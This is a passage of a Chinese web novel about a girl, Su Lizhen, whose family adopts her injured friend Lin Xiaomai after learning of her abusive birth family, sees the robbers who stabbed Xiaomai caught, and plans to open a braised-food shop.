老太太露出了然的神色,喃喃道:“怪不得了,我就说从没记得林家有过什么城里亲戚……” 苏丽珍听得这一句,心中一动,问道:“大娘,我和小麦虽然要好,但是她之前从来没提过家里的事!她现在受伤不轻,我们想着总要告诉她家里人一声,好歹给人家一个交代。我看您好像对她挺熟悉的,您应该知道她家里的情况吧?” 老太太听完没说话,倒是先沉沉叹了口气。 恰好这时,有人进病房,打断了两人的对话。老太太看了眼苏丽珍,道:“这里不是说话的地方,我婆家姓冯,我老伴就在这隔壁病房,这会儿在休息,我也不能走远了,等晚点你再来找我吧!” 苏丽珍目送冯老太太进了隔壁病房,这才进屋。 不一会儿,丁大勇就带着丁大娘一起来了。 担心苏卫华夫妻俩肚子饿,丁大娘手脚麻利地做了一大盆打卤面,又另外装了一罐鸡蛋汤,把小孙女托付给邻居,就催着儿子急火火地来了。 那边丁大勇还抽空去买了不少罐头、麦乳精等营养品,一看就花了不少钱。 丁大娘陪着苏卫华夫妻说了会儿话才走。 看父母脸色实在不好,苏丽珍也没说遇见冯老太太的事,只是劝他们到对面闲置的床位休息一阵。 期间大夫来查了房,小麦一直没有醒,大夫说差不多要等晚上九点钟以后才能醒过来,这中间只要没什么异常反应,就不必过分担心。 冬季里天黑的早,基本上四点半以后天色就一点点暗下来了。 这时候病人的家属们或是来送饭,或是来探望,病房里也渐渐热闹起来。 一直耐心等着的苏丽珍留意到,隔壁病房的冯老太太早早就端着饭盒去了食堂打饭,想了想,这才跟父母和丁大勇说了这事,最后也没让他们谁陪着,自己一个人就出了门。 她卡着点,先去了趟医院外面的国营商店,赶着关店前买了些不要票的罐头和糕点,然后才去了隔壁病房。 病房里,冯家老两口正好刚吃完晚饭。 冯老太太指着旁边穿着病号服的老爷子给苏丽珍介绍:“这是我老伴,上星期刚做完阑尾炎手术,再过两天我们就能出院了!” 见她来了还带着东西,冯老太太连连推拒,“不过是问几句话的事,哪里能要东西,这些可都不便宜!” 转头又对自家老伴说道:“这就是我跟你说的照顾小麦的那家人,是个有良心的!” 病房里可没什么秘密,何况两边离得这样近,下午和苏丽珍见完面回来,她就从病友那里听说了,新来的小姑娘身体不好,一刀差点要了命,想彻底好起来不容易,不说以后打针吃药调养的费用,只今天这一个下午,就流水似的花了一百多块,顶一般人三个月工资了! 送小姑娘来的那家人早跟医生打了招呼,要请最好的医生,用最好的药。虽说小姑娘是因为救了人才受的伤,可也算运气好,赶上个有钱又知恩的,要不然今后的日子可怎么过! 冯老爷子抬头认真打量了苏丽珍半晌,才点头说了句:“好,是个好孩子,快坐吧。” 苏丽珍叫了人,放下东西,顺势坐在了冯老太太搬来的椅子上。 冯老太太知道她来的目的,也没有多做寒暄,坐在老伴的病床上径自说了起来。 “说起这孩子,可真是个命苦的!” 老太太深深叹了口气,“她家啊,就在凤城西边的林家屯大队。她那一家子都是混不吝的,而且从上头的老爷子、老太太,到底下的儿子、儿媳,那都是天底下少见的重男轻女!所以我才说小麦这孩子苦啊!而且不光她一个苦,她上头的两个姐姐那更是苦水里泡大的……” 随着冯老太太的讲述,苏丽珍总算明白了小麦为什么如此不愿提及她的家人。 原来,林小麦的家里有三女一子,她排行第三,上面有两个姐姐,下头是家里唯一的男孩。 这老林家人生性好吃懒做,又极度重男轻女,对儿媳一口气生了三个丫头格外不满,认为是她们抢占了家里金孙的位置,所以金孙才没法来投胎。 因此动辄对姐妹三人非打即骂,不让吃饱饭,还把家里的苦活、累活都推给三个女孩。 小麦的大姐和二姐年岁相近,两人拼命护着最小的三妹,这才好歹让她能在那个吃人的家里慢慢长大。 小麦从那个家里得到的唯一一点温暖和安慰,也是两个姐姐给予她的。 只可惜命运不公,连她这么点温暖也被剥夺了去。 在小麦十二岁那年,为了给家里唯一的金孙攒钱娶媳妇,老林家人先后把她两个姐姐卖了换彩礼。 林家人只顾着多要钱,给女儿找的都不是什么好人家,村子里但凡心疼闺女的都不会让女儿跳这样的火坑。 小麦的两个姐姐又没有嫁妆傍身,这种情况嫁过去,那情形可想而知。 加上两人从小吃不饱、穿不暖,又要不停干活,本身甚至还未成年,嫁人后一直没能怀孕,更是t惹得婆家不满。 好容易大姐先怀孕了,二姐这里却一直没动静,婆家因此越发不把二姐当人看,整日里打骂的厉害,终于打得林二姐受不了,一天夜里趁着天黑跳了河。 即将临盆的林大姐接到信儿后,因为太过悲痛动了胎气,婆家人却不愿意花钱送她去医院,结果生生拖成了一尸两命,娘儿俩一个都没活下来。 更可气的是,这两个婆家都觉得林家姐妹俩晦气,坏了他们家的运道,两家人觉得吃了亏,索性商量着把尸首都给抬回了老林家,逼着老林家人退还一半彩礼,否则就不给林家姐妹收尸。 老林家人也心够狠,拼着一番撒泼打滚,愣是没让两个婆家要去一分一厘。 两个婆家人一气之下,最后居然真的丢下了林家姐妹的尸身不管了。 同村的人见闹得实在太过,都劝老林家人多少退人家点钱,既然嫁一回人,好歹让姐妹俩在婆家那边入土为安吧! 没想到老林家人像疯狗似的,见谁咬谁,还直接放话:他们家不管啥安不安的,反正谁愿意掏钱、谁掏钱,他们家可没钱! 然后,就用两卷破草席把林家姐妹草草埋了。 当时只有十二岁的林小麦,为了给自家两个姐姐求一副薄棺材,拼命给爷奶、爹妈磕头哀求,甚至愿意马上被卖去嫁人,结果只换来她爸妈一顿劈头盖脸的毒打。 那时还是特殊时期,葬礼仪式简化,但是大伙儿私底下还是会偷偷置办些线香、纸扎,告慰亡者。 小麦求不动林家人,只好拖着一身的伤挨家给村里的人磕头,求大伙儿借她点钱,置办些供品香钱,好送她两个姐姐最后一程。 村里人看见小麦满身是伤,额头、嘴角还带着血,实在于心不忍,就纷纷凑钱帮她置办齐了葬礼要用的东西。 那会儿比现在还难呢,谁家也不富裕,村里人这样也算是仁至义尽了。 处理完林家姐妹的后事后,冷了心的林小麦就离开了老林家。 她一个人到村子后山上一个老猎户留下的窝棚里住了下来。 老林家人找到她,抓她回去,结果抓一回,她跑一回!每次逃跑都要换一身的伤,有两次还险些被打折了腿,亏得村里人发现得早,及时拦住了! 后来林小麦豁出去找公安,公安同志警告林家人再动手就涉险虐待罪,林家人欺软怕硬,这才没敢再下狠手。 第55章 为了逼她乖乖回家,老林家又到大队撒泼打滚,不让大队给林小麦分人头粮。 林家人无赖难缠,小麦不想让已经帮过她不少的村里人为难,也不去要粮食。 她自己一个人在山上,春夏挖野菜、打鸟捕鱼;秋天采山货,再偷偷送到城里换钱买粮;冬天最难捱的时候,村里人就悄悄去送点东西让她撑过去。 冯老太太是70年随着老伴一起被下/放到林家屯大队的,她记得林小麦两个姐姐去世,她自己和林家人闹翻离家是75年初夏的事。 直到冯老爷子78年春天平反,两人回城时,小麦已经独自在山上生活了三年,而78年春天到现在,已经又快要一个三年了…… 苏丽珍听到这里,不由闭了闭眼。 他们凤城的冬天,滴水成冰,在那样荒山野岭的小窝棚里,她想不到一个人该怎样坚持了一年又一年。 怪不得小麦这样小的年纪,却积下了一身老病! 想象着当年瘦弱、稚嫩的林小麦抱着姐姐们的尸身,无助地跪在地上拼死哀求,却最终敌不过狼心狗肺的血亲,那该是怎样一种绝望? 所以她才会宁愿一个人在山上吃苦,也不肯再回到那个家…… “闺女,擦擦眼泪吧!” 一条黑白格的手帕递了过来,苏丽珍醒过神来,对上冯老太太关切的眼神,这才发现,自己不知不觉已经泪流满面。 苏丽珍向老太太道了谢,轻轻接过手帕。 冯老太太再一次深深叹了口气。 “这孩子变化不大,今天下午她被送进病房的时候,我恰巧经过,一眼就认出来了,虽然个子高了不少,可还是瘦得吓人。” “我看你们一家倒不像那心恶的,我就倚老卖老说一句!看在这孩子愿意为你们舍命的份上,你们能照顾她就尽量照顾照顾,可千万别去找她的家人,那都是恨不得把闺女骨头渣都嚼碎吸油的恶鬼!我看就是在卖面流浪讨饭,都比跟他们回去强!” “再者,要是让他们知道小麦是因为你们家挨了一刀,那只会没完没了地找你们讹钱,到时候你们也麻烦。” 老太太这番也算是交浅言深,苏丽珍自然明白对方的好意,她擦干眼泪,实心实意地道了谢,也郑重向对方表示,绝不会让那一家人有机会再来伤害小麦,自家人今后都会把她当做亲闺女一样看待。 冯家老两口听完十分欣慰,在苏丽珍向他们告辞离开的时候,一直没怎么开口的冯老爷子指着苏丽珍带来的礼物,让她务必拿回去。 “我们老两口做不了什么,但也不能占这个便宜,这些东西你拿回去给那孩子吃吧。” 苏丽珍没答应,“冯爷爷、冯奶奶,我相信如果小麦醒过来,知道你们还一直记得她,更真心盼望她过得好,我相信她也会感激你们的!她是我最好的朋友,这是我现在唯一能为她做的。” 从冯爷爷的病房出来,苏丽珍看了眼天色,最后还是决定先去趟食堂买点吃的。 虽然她没什么胃口,但是大勇哥已经跑前跑后忙活半天了,总要让人吃点东西。还有她爸妈,冬天夜里漫长,不能一点也不吃。 留了点押金,跟食堂借了两个饭盒,她买了一份饭菜加一盒糖饼。 糖饼吃不完用饭盒装好,外面裹上毛巾,放在病房的暖气片上,能保温好久。 回到病房时,苏卫华和李翠英已经轮流休息了一阵,脸色看着比之前强了一点。 一见苏丽珍回来,两人忙不迭问起她这趟有没有打听出什么。 苏丽珍下意识地看向床上仍然陷入昏睡的林小麦,心里阵阵难受。 她将冯老太太告诉她的原原本本告诉了三人,结果不管是苏卫华夫妻还是丁大勇,听完都是震惊又难过,他们实在难以相信,这天底下居然有这样狠心的父母,这、这简直连禽兽都不如啊! 李翠英抹着泪道:“亏得咱们听了珍珍的话,没有贸然去找人!这样的爹妈不要也罢,那家人讹咱们是小事,可不能让他们再有机会磋磨小麦!” “他们敢!我就不信还没有天理了!”苏卫华愤怒地直接从凳子上站了起来。 “翠英,正好珍珍和大勇都在这儿,咱俩今天表个态!以后小麦就是咱老苏家的人,她爹妈不管,我管!咱们老苏家养着她,给她攒钱置嫁妆,以后只要珍珍有的,小麦也一定有!” 李翠英重重点了点头:“行!这事我绝没二话!” 然后,夫妻二人就默契地把目光一起转向唯一的女儿。 看着父母紧张的眼神,苏丽珍由衷地笑了起来。 她的父母是如此善良,而且全心全意地深爱她这个女儿,比起出生就深陷地狱的小麦,她真的很幸运。 她已经得到了他们太多的爱,不介意分出一些给她最好的朋友。 她看着两人,目光诚挚而自豪,“爸、妈,在我心里你们就是这天底下最好的父母,所以我永远支持你们的决定!” 连丁大勇也在一旁认真道:“那我就相当于又多了一个师妹!师父、师娘,你们放心,以后我也会对小麦妹子好的!” 得到了女儿和徒弟的支持,夫妻俩越发有了底气,两人甚至开始研究起接小麦回家后,家里应该置办哪些东西了,嘴里不停叨念着可不能委屈了孩子。 苏丽珍没去打扰父母,又让丁大勇先吃晚饭,自己坐到小麦的病床前,拿起棉签准备给小麦润润唇,目光望去,突然发现女孩闭合的眼角处轻轻落下了一滴眼泪。 她眼中不禁划过一抹儿疼惜。 将那滴泪水轻轻拭去,她心中祈愿,只盼对方今后的人生不再流泪—— 林小麦在众人的期盼中,终于在当晚十点多苏醒过来。 而接下来t的两天,她的伤势也逐渐稳定,医生判定已经度过了危险期,接下来只要配合治疗,好好休养就可以了。 众人自然欣喜不已。 从小麦清醒后,隔壁病房的冯老爷子和冯老太太特地来看过她几回,最后一次冯爷爷出院之前,冯奶奶还亲手为小麦包了一碗小馄饨。 林小麦见到两位老人也十分高兴,当初冯爷爷和冯奶奶在林家屯大队的时候,村子里那些悄悄给她送东西的人当中就有这两位老人。 那时她怕给大伙儿找麻烦,一直不敢跟帮助她的人走得太近,如今再有机会遇见,且对方还这样记挂着她,林小麦心里自然充满了感激。 她留下了两位老人如今的地址,并约定好,等她康复后一定会去看望他们。 送走冯家二老后,得知冯奶奶已经把自家的事都告诉了苏丽珍一家,林小麦的脸上却露出了一抹儿苦笑,甚至有些惭愧。 “对不起,叔、婶子,珍珍,我一直对你们隐瞒这些……我的家人都那么糟糕,而我一想到我身上流的是这样人的血,我就连自己都讨厌,我、我怕你们嫌弃我……” 听到林小麦这样说,苏家人只有更多的心疼。 李翠英一把抱住这个可怜的孩子,不住道:“傻孩子,你说的什么傻话!你是你,他们是他们,婶子稀罕你,我们大家都稀罕你!” 苏卫华也连连点头,“对对,孩子,可千万别那么想!你这样就相当于是把别人犯的错都背在了自个儿身上!你是个好孩子,我们大伙儿有眼睛都能看到!” 尽管夫妇俩这么说,可林小麦的神情依然充满了苦涩和沮丧。 夫妻俩对视一眼,又看向苏丽珍,在得到女儿鼓励的眼神后,李翠英才小心翼翼地开口:“小麦,我和你叔想跟你商量个事。” 见怀里的林小麦抬起头,一双杏核大眼专注地望向自己,里头满满的都是信任,李翠英的心就软地一塌糊涂,声音越发柔和起来。 “小麦,你知道我和你叔就珍珍一个闺女,其实我们一直还想再要个女儿,特别是像你这样乖巧又懂事的闺女……你看,如果我说我们想收你当我们的干闺女,以后跟珍珍一样就呆在我们身边,你愿意吗?” 林小麦的眼睛难以置信地瞠大,随后又飞快蒙上了一层水雾。 她眼中流露出感动又羞愧的神色,嘴唇颤抖了半天,一句“我不配”几乎要脱口而出时,一只纤细的手忽然轻轻掩住了她的嘴唇。 苏丽珍看着对方,神色格外认真,“小麦,我知道你在想什么,但是这一次我希望你能好好听我说。人和人之间是讲究缘分的,从我们全家第一天认识你开始,我们就一直很喜欢你。我们之间是很投缘的。” “我爸妈想认你做女儿,我想让你当我的姐姐,也许确实有出于别的考虑,但那些考虑一定不是最重要的。” “我们这样做,主要还是因为我们真心喜爱你,喜爱你林小麦这个人!至于其他任何的理由都不足以让我们做这个决定,你明白吗?” 她不希望小麦以为他们这么做是出于同情或者报答,就像她说的,虽然这两点因素也有,但并不是起决定作用的。 帮助、回报一个人的方式有很多种,而苏丽珍只想把小麦当作家人。 林小麦的听完,眼泪瞬时夺眶而出。 她听明白了,正是因为听明白才会这样感动! 眼前如此善良的一家人是真心喜爱她、接纳她,就像她的两个姐姐,明明为着她的缘故被牵连得多挨了无数次的打骂,却总要把她护在身后,只是因为她们喜欢她,喜欢这个一手带大的小妹妹。 大姐、二姐,你们看到了吗?我遇到了很好、很好的人,我真的很幸运、很幸运! 于是这次,她不再犹豫,迎着众人期待的眼神,一边落泪,一边重重地点了下头,“愿意,我愿意!” 看着这个吃尽了苦头却总把开朗笑容挂在嘴边的女孩哭得不能自已,虽然知道这是欣喜的眼泪,可所有的人心里还是一片酸软,连丁大勇都红了眼眶。 第56章 李翠英抹了下眼角的泪水,轻轻拍了拍林小麦的后背,劝慰道:“好了,孩子,别哭了,你现在的身体可受不了!” 她帮林小麦擦干了眼泪,“小麦,你要是愿意的话,咱们也不挑日子了,就现在,喊我和你叔一声干爸、干妈,行吗?” 苏丽珍也紧紧攥住对方的手,“还有我,姐姐,我可是先改了口!” 林小麦抬头,迎着所有人殷切的目光,哽咽着对李翠英和苏卫华轻轻唤了声:“干妈”“干爸” 又看向苏丽珍,笑中带泪地喊了句:“妹妹,好妹妹!” “哎!”三人齐齐应了一声。 旁边的丁大勇也跟着来凑热闹,“那啥,小麦妹子,我是师父的徒弟,好歹算半个儿,你要不嫌弃就也叫我一声哥吧!” 林小麦脸上的笑容越来越大,闻言立刻痛痛快快喊了声“大勇哥!” 所有人相视而笑。 李翠英紧搂着热乎“新出炉”的干女儿,和苏卫华、丁大勇讨论等林小麦出院后,一定要摆上一桌大席,把亲朋好友都叫来,风风光光补办个收干闺女的仪式。 苏丽珍坐在小麦身旁,时不时插一两句嘴,从始至终没有放开紧握对方的手。 林小麦坐在中间,感受着环绕四周的满满关心和爱意,这一刻,似乎连空气里的消毒水味儿都是甜的。 以至于很多年后,有人采访这位号称珍珍集团“守卫者”的林女士,当问到对方“走南闯北这些年,最喜欢的地方是哪里”时,这位直爽开朗的女士却想也不想就回答了一句:病房!一时间引起无数揣度。 也许是心情愉快,自那天过后,小麦的身体恢复得特别快,用一句“神速”形容也不为过,那一天一个样的变化连医生、护士们都啧啧称奇,直夸苏丽珍一家会照顾病人。 关于这一点,跟小麦同病房的病友和家属们那是深有同感。 旁的不说,打从这位小病友能吃东西开始,这老苏家是今天一只鸡、明天一只鸭,到第三天头上又不知从哪里淘弄来了新鲜的胖头鱼,反正汤汤水水的,每天都不重样。 加上这家的女主人手艺好,哎呦,这汤汤水水炖得这个香啊!回回就着人家这股香味,他们都能多吃下两碗饭,可别提有多羡慕林小麦这个正主了! 林小麦自己也觉得,这段时间是她出生以来最快乐的日子了,干爸、干妈每天都来陪着她,给她做好吃的、买新衣服,还会经常讲起他们俩年轻时候的事。 珍珍妹妹除了上学时间,只要一有空闲就过来看她,有时候学校午休时间短,天气又冷,林小麦看她手、脸都冻得通红,十分心疼,劝她不要来,她也不肯听,照样风雪不误。 这样的日子对林小麦来说简直就是做梦一样,她觉得自己哪怕明天就死了,也是知足了。 总之,因为苏丽珍一家的悉心照料,林小麦的身体恢复的远超预期,照这种情况,提前出院也是完全可行的。 这个结果,自然让苏丽珍一家高兴不已,而且好事成双,对于他们来说,这段期间还收到了另一个好消息。 那就是当初刺了小麦一刀的两个抢劫犯被抓住了! 这事说起来还多亏了卢向阳的父亲和大哥。 林小麦的病情稳定后,苏卫华夫妇为了专心照顾干女儿,决定暂时不出摊,加上丁大勇时不时地跑来帮忙,医院人手够用,也不需要苏丽珍做什么。 想到马上临近期末考,大家都不想让她耽误,所以她第四天就销假返校了。 苏丽珍一回到学校,立马收获到了老师和同学们的热情关心,大家纷纷打听她家里出了什么事,需不需要帮忙。 苏丽珍谢过大家的好意,也没有隐瞒,全部如实相告。大伙儿一听说是抢劫伤人这么大的事,也不免一阵后怕。 等人群散去,一直没怎么说话的卢向阳才神神秘秘地宽慰苏丽珍,让她不要着急,说是他们家的案子已经有眉目了,不出三t天肯定有结果! 原来卢向阳的父亲和哥哥都是警察,他父亲是市局的领导,他大哥也在刑警队。 就在上周日,苏丽珍请假的第二天,卢向阳放假在家休息,餐桌上无意间听到他父亲感慨了一句近期要吃不上“珍珍小吃”摊的卤味了。 由于卢向阳的缘故,卢家一家子都成了苏丽珍家小吃的铁杆粉丝,尤其卢向阳的父亲和大哥平时工作忙、压力大,平时就好一口美食解解压,在无意间尝过一次小儿子(弟弟)带回家的卤味后,这爷儿俩顿时惊为天人,从此三天两头,雷打不动地往人小吃摊上跑。 从父亲和大哥那里,卢向阳得知了苏丽珍家里出的事。 抢劫伤人是大案,这个案子很快被移交给了卢向阳大哥所在的刑警队。卢向阳把苏丽珍看做好朋友,自然十分在意这个案子,每天上学放学一回家,总要向父亲和大哥两人旁敲侧击一番,打听案件进展。 当然因为纪律原因,他父亲和大哥也没让他知道多少。直到昨天晚上,他大哥忽然神神秘秘地拉住他,对他好一顿暗示,卢向阳费了半天劲才明白,原来是大哥那边有了新进展,苏家这个案子快有结果了! 他本来是想中午放学,抽空去苏丽珍家告诉她这个好消息的。没想到对方今天销了假,自然第一时间告诉对方。 虽然具体的卢向阳不能透露,但这对于苏丽珍来说仍然是意外之喜! 果然,第二天下晚自习回家后,苏卫华就一脸欣喜地告诉苏丽珍,伤了小麦的人都抓到了! 说起这犯人,还不止那天那两个。 苏丽珍也是那时才得知,这事居然跟“老熟人”张福全有关,甚至连后期骚扰过他们的周强、周军兄弟俩也有份。 张福全当初因为打他们家的主意,被苏丽珍设计吃了大亏,自此在家附近这一片也混不下去了,就被张寡妇灰溜溜地送回了乡下娘家。 没成想这人去了乡下也不消停,写信回来给周强、周军兄弟俩,指使他们找苏家的麻烦,结果周氏兄弟也被苏丽珍狠狠收拾了一顿。 苏丽珍得知了是张福全背后使坏,自然不能轻易放过他。 她给张寡妇娘家的大队干部写了两封信,上面详细列举了张福全这些年在城里的胡作非为,还提醒他们务必要小心提防对方,一旦发现苗头可千万别心软,否则对方拍拍屁股一走,遭殃的可是他们这些老实巴交的当地人!。 果然如苏丽珍猜测的,张福全到了乡下,因为初来乍到消停了几天,可等张寡妇一走,马上就故态萌发,整日小偷小摸不断。 这样以来,村里人可就遭了殃,大伙儿攒点财物不容易,就是丢个鸡蛋都要心疼两天,哪能架得住这样祸害! 只是张福全整日自诩城里人,加上张寡妇又宠溺他,自己不吃不穿也要给他最好的,所以大伙儿灯下黑,一时谁也没想到他头上。 直到收到苏丽珍的信,大伙儿才反应过来,敢情这人竟是个“黑芯子”的惯犯,不折不扣的祸害,顿时是又气又忧。 全村人凑在一起一商量,可不能轻易饶了这小子,反正那张福全也不是他们本村的人,也没啥可顾忌的! 最后全村人互相约好,大家集体盯梢,在张福全又一次犯事时当场把他抓了个现行,又马上报了公安,就这么把人送了进去! 有一个村子的人集体咬着他,张福全这大牢怎么也得多蹲个几年。 可就这样了,他还是不死心!人在监狱里,还催着去探监的张寡妇帮他去找周氏兄弟,以一桩三人过去共同犯下的偷盗案做把柄,威胁兄弟俩替他报仇。 这张寡妇呢,心爱的儿子蹲了大牢,在得知是苏丽珍写给娘家大队那两封信起了关键作用后,也把苏丽珍给恨上了,居然真的答应了儿子的荒唐要求,帮他去找了周强、周军两兄弟。 周氏兄弟面对张福全的威胁,又气又怕,两人也是真的怂,没胆子不应。 可上次他们毕竟在苏丽珍手里吃了大亏,对她还有些忌惮,一时就有些骑虎难下。 最后两人商量了几天,终于憋出了个“借刀杀人”的损招。 他们找上了两个同样偷鸡摸狗的小混子,其实俩混子跟张福全也认识,只不过周家兄弟之所以找他们俩,是因为这两人平时喜欢赌博。 赌徒的胆子一般都大得很,所以当周氏兄弟才向两人稍微透露了一点苏家的富裕后,这两人马上就上钩了。 只不过天气渐冷后,苏卫华夫妻出摊的时间就短了,那摊子上整日围满了人; 老苏家家那边呢,又被苏丽珍布置得几乎“固若金汤”,那插满碎玻璃、洋钉子的围墙,别说人翻不过去,连鸟都不敢落。 因此两人一直没找到机会下手,这一等就是好几天,终于被他们等到了李翠英独自出行的机会。 那天李翠英去南湖公园独自穿胡同的时候,本来应该由两人中那个“手熟”些的去动手,没想到赶巧那人突然闹肚子,就没来得及动手。 等李翠英回来的时候,只好换另外一个人顶上,却又赶上林小麦突然出现,那人本就不算熟手,一时紧张下,很快被林小麦识破了马脚,当场被抓。 他那同伙见势不好,也顾不上肚子疼,凶残地一刀伤了小麦,然后两人揪着空子,劫掠了财物就匆匆逃跑了。 也是苏丽珍一家运气好,因为现今社会待业人员增多,近期偷鸡摸狗的恶劣行为明显增多,风气十分不好。 上面想借此机会抓个典型,所以很是重视这起案件,下令相关人员必须尽快侦破案子。 这案子正好落在了卢向阳大哥手里,他和父亲经过调查分析后,很快锁定了那两件被抢走的女士羊毛衫! 这东西不是必需品,但是价格却不菲,如今很多人都舍不得买,因此不容易销赃。他们决定以此入手,通过安排人提前与专卖女士衣服的大小摊贩打招呼,一旦发现有人上门零星出售一、两件女士羊毛衫,务必把人拖住。 如此守株待兔了几天,果然等来了两个正急着把赃物出手的凶犯! 第57章 警察人赃并获,前后只用了五天时间就侦破了这起案件,而且还替苏家追回了大半赃款。 两个犯人落网后,也许是为了脱罪,很快就供出了周氏兄弟。事实上,他们也不傻,知道那俩兄弟没安好心,但是他们是输红了眼的赌徒,为了钱就什么都顾不上了。 周氏兄弟被捕后,又指认了张福全是整件事情的主谋。 一起抢劫案就这么被警察顺藤摸瓜,揪出了一串坏蛋。连是非不分的张寡妇也没跑掉,从今以后,只能乖乖陪着他儿子一起吃牢饭去了。 当苏家得知了卢向阳的父亲和大哥为自家这个案子没少费心,又听说卢家人喜欢自家的卤味后。李翠英特地熬了半宿夜,做了两只卤鸡、两只卤鸭和几斤特色卤香肠,让苏丽珍转交卢向阳,算是自家的一点心意。 卢家也是有心人,感念苏家的真诚,自此以后,不管苏家是在外摆摊还是开饭馆,卢家父子都时常招呼同事、朋友去光顾,连带帮苏家人赶跑了不少“苍蝇”“臭虫”,让苏家人感激不已。 当然这是后话。 在伤害小麦的凶手伏法,连背后主谋的张福全母子和周氏兄弟也被清算后,苏家一家三口,不,现在是四口了,顿时都觉得神清气爽,好像连这十二月里的寒风都不那么冻人了! 这桩压在心头的大事解决后,苏丽珍接下来开始思考开店的问题。 是的,她想盘下一家门店,开一间专卖卤味和小吃的小店。 本来之前这个打算只是处于计划阶段,她还不太着急,但是经过这次的事之后,她的想法彻底变了。 有些事必须做长远打算,有一间固定的店铺,无论是对生意的稳定、客源的开拓,甚至是家人的安全保障都有好处。 此时正是大课间,她随手打开一本平时专门做摘抄用的笔记本,翻到其中一页,那上面是一则凤城晚报十月份刊登的新闻,被她裁下来做成了剪报。 新闻报道了今年十月,我国第一家私人饭馆在首都成立,饭馆开业当天,周围许多食客前去品尝。 虽然文章的措辞一度比t较含蓄,但一张随报道刊登的照片上,却清晰地显示出当天的饭馆内座无虚席,门口处更有许多人排队,这场面绝对称得上火爆! 首都这第一家私营饭馆的成立,传递出了一则信号:国家认可并支持个体经济的发展模式。 它在告诉世人,眼下这种模糊不清、不上不下的局面不会一直存在,相关的规划和具体实施细则今后也必定会逐步完善,相当于给广大个体户们吃一颗定心丸。 苏丽珍当初第一次看见这张报纸的时候,就动了开店的心思。 只是在做生意这方面,她这辈子也是摸着石头过河,原想着自家满打满算只有几个月的摆摊经验,怕到时有什么闪失,不如再多摆几个月,从冬到夏,做满一整年,那时也能更稳妥些。 可现在,她改变主意了! 她想尽快拥有一家稳定的店铺! 如果店铺能顺利开成,她还想再就近找一处房子搬过去,租或者买都行。 他们现在住的地方虽然也不错,但是离客运站还是有些远了。而且从马路下来后,到家还要走上七、八分钟的胡同小道。那条坑洼的黄土道,每到雨雪天都分外难走,夜里没有灯,一个不好还要摔跟头。 当然,她这会儿兴兴头,计划的有滋有味,但眼下无论是开店还是住房,合适的房子一时半会儿并不好找。 就拿店面来说,即便她别的要求都不提,只需要新店的位置距离客运站足够近,单是这一点就很难达到了。 再加上现在接近年关,别说卖房,租房子的也不多。 苏丽珍心里叹气,还真是天时、地利,一样都不占。 不过她也没灰心,这几天她每天探望小麦姐姐的时候,来回都会特意经过客运站一带。 反正这会儿闲着没事,她索性在脑海里开始回想以客运站为中心,周边最远不超过两条街范围内的大小房屋,打算等空闲的时候再仔细走一遍,说不定运气好,能有收获…… 脑子里刚过滤完一条街,这时卢向阳过来找她借英语笔记,看见她摊在桌面上那篇剪报,顺口说了句:“你也有剪报的爱好啊……哎,这个新闻我也知道,之前在家,听我爸和我哥聊天说起过!” 顿了顿,他猛然想到苏丽珍家里也是干个体的,灵光一闪,忍不住问道:“怎么,你们家也打算开一家饭馆吗?别说,你们家卤味做的那么好,开家饭馆生意肯定好!” 苏丽珍苦笑,“饭馆就不敢想了。不瞒你说,我们确实想开家卖卤味的小店,店面也不用多大,有个十几、二十平,能够放下厨具和摆放卤味的柜台就够了!只是现在店面难找,我们想在客运站附近找就更难了。” 卢向阳闻言,也跟着皱起了眉头,这还真是个难题。 他们家吧,要说让他爸和他哥抓个贼、查个案,那他们俩在行,可像找房子、寻租这种事,恐怕就不成了。 用他/妈/的话说,这俩老爷儿们心比窝瓜还大,正经事指望他们,那黄花菜都得凉! 不过他还是宽慰苏丽珍道:“你也别着急,回头我跟我妈说一声,她在街道上班,离客运站那片也不算远,说不定能打听着谁家招租!” 有人帮忙自然是好事,苏丽珍刚要道谢,谢芳芳这事忽然凑了过来,一脸凶巴巴地瞪着苏丽珍,道:“喂,你们家要租房子,怎么不跟我说?” 苏丽珍:“?” 她也不等苏丽珍说话,小嘴像个连珠炮似的兀自道:“你别想否认啊!我告诉你,我已经站在后面偷听半天了!你们家要租店面开饭馆,所以你想找他帮忙打听哪里有房子,对不对?” 卢向阳听得有些无语。人家哪里要找他帮忙,是他自己主动想帮着打听打听好不好?还有你这光明正大地告诉我们,你之前一直在偷听我们说话,真的好吗? 苏丽珍也是哭笑不得,一时都不知道怎么接话。 “别笑,我很严肃的!”谢芳芳叉着腰,不满地瞪了苏丽珍一眼,“这事你为什么不找我?找房子而已,这事简单啊!等我回家找我妈,我妈不行,还有我姨、我舅、我叔和我姑他们,反正一定能给你办成!” 卢向皱起了眉头,忍不住打断谢芳芳:“谢芳芳,这是丽珍家里的大事。咱们平时说归说、闹归闹,但是别拿正事开玩笑!” 谢芳芳这下可不乐意了,“什么叫开玩笑!卢向阳,你别门缝里看人——把人都给看扁了!我谢芳芳向来说话算话,这事我肯定能办成!不信,咱们就走着瞧!” 卢向阳还要说话,却被苏丽珍轻轻拽了一下。 她用眼神安抚卢向阳不要跟对方争执,笑着哄谢芳芳道:“好好,要是你真能帮我们找到合适的店面,我一定好好酬谢你!” 谢芳芳立即打蛇随棍上:“这可是你说的!那你先说说,要是我把事情给你办成了,你到时候要怎么谢我?” 苏丽珍好笑,“我请你到我们家吃饭,到时候你想吃什么,我和我妈就给你做什么,好不好?” 一听说苏丽珍会亲自下厨给自己做吃的,谢芳芳眼睛都亮了,捏紧小拳头,一脸斗志昂扬道:“好,那你先回去编好菜谱吧!这顿饭我吃定了!” 苏丽珍:“……” 好家伙,还得现编菜谱,可真不愧是你谢芳芳,! 卢向阳也在那儿大摇其头,明显觉得这人不靠谱。 苏丽珍其实也没把这话当回事,就是觉得谢芳芳当时生气的样子像只炸毛的小猫,怪可爱的,而且究其根本,对方也是关心她,所以当时一笑过后,就把这事丢在了脑后。 哪成想,不到两天,对方还真给她送了个天大的惊喜! 第58章 “喏,给你!” 一大早,苏丽珍刚到校,还没来得及把书包放进桌膛里,谢芳芳就迫不及待跑过来,把一张纸直接拍到了她的书桌上,然后一脸洋洋得意道:“你想找的房子,我让我舅舅帮你找到了,都在这上面写着呢,你先看看吧!” 苏丽珍登时惊住了,太多问题一时不知从何开口,索性直接拿起那张纸看了起来。 纸上只有寥寥数语,最上面一行龙飞凤舞的大字写的是地址,然后是一副钢笔勾勒出的房屋平面草图,图上还非常贴心的标注了长、宽、总面积等各项数据,让人一眼就能掌握房屋的大概情况。 从图上看,这竟然是一座独栋的二层洋楼,而且位置就在与客运站仅隔了一条街的人民路! 